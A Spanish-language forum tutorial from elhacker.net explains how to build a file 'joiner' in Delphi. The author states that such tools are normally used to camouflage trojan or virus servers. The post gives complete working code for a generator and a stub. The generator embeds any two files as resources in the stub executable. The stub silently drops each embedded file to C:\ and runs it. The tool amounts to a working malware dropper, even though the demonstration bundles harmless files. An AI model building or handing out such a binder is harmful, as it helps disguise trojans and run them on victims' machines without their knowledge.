Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: BigBear en 29 Agosto 2013, 01:16 am



Título: [Delphi] Creacion de un Joiner
Publicado por: BigBear en 29 Agosto 2013, 01:16 am
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.

(http://doddyhackman.webcindario.com/images/uno.jpg)

Una vez creado , creamos dos cajas edit y un boton como en la imagen :

(http://doddyhackman.webcindario.com/images/siete.jpg)

Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2.  
  3. var
  4.  archivo1: string; // Declaramos la variable archivo1 como string
  5.  archivo2: string; // Declaramos la variable archivo2 como string
  6.  uno: DWORD; // Declaramos la variable uno como dword
  7.  tam: DWORD; // Declaramos la variable tam como dword
  8.  dos: DWORD; // Declaramos la variable dos como dword
  9.  tres: DWORD; // Declaramos la variable tres como dword
  10.  todo: Pointer; // Declaramos la variable todo como pointer
  11.  
  12. begin
  13.  
  14.  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
  15.  
  16.  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
  17.  
  18.  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  19.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  20.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  21.  GetMem(todo, tam); // Capturamos la memoria
  22.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  23.  CloseHandle(dos); // Cerramos el archivo
  24.  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
  25.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  26.  
  27.  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
  28.  
  29.  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  30.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  31.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  32.  GetMem(todo, tam); // Capturamos la memoria
  33.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  34.  CloseHandle(dos); // Cerramos el archivo
  35.  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
  36.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  37.  
  38.  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
  39.  
  40. end;
  41.  

Una imagen del codigo comentado.

(http://doddyhackman.webcindario.com/images/nueve.jpg)

0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :

(http://doddyhackman.webcindario.com/images/ocho.jpg)

Una vez hecho copiamos el siguiente codigo :

Código
  1. program stub;
  2.  
  3. uses Windows, ShellApi; // Cargamos los modulos necesarios
  4.  
  5. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  6.  stdcall; // Empieza la funcion con los parametros
  7. var
  8.  data: DWORD; // Declaramos como DWORD la variable data
  9.  uno: DWORD; // Declaramos como DWORD la variable uno
  10.  dos: DWORD; // Declaramos como DWORD la variable dos
  11.  
  12. begin
  13.  
  14.  Result := True; // Retornamos true en la funcion
  15.  
  16.  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
  17.  
  18.  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  19.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  20.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  21.    dos, nil); // Escribimos en el archivo creado
  22.  
  23.  CloseHandle(uno); // Cerramos
  24.  
  25.  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  26.  // Ejecutamos el archivo
  27.  
  28. end;
  29.  
  30. begin
  31.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  32.  
  33.  // Funcion para cargar los archivos del joiner
  34. end.
  35.  


Una imagen del codigo comentado.

(http://doddyhackman.webcindario.com/images/diez.jpg)

0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :

(http://doddyhackman.webcindario.com/images/once.jpg)

Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.

(http://doddyhackman.webcindario.com/images/doce.jpg)

Eso es todo.

El manual esta disponible en PDF aca (http://doddyhackman.webcindario.com/descargas/creaciondeunjoiner.pdf).

--========--
  The End ?
--========--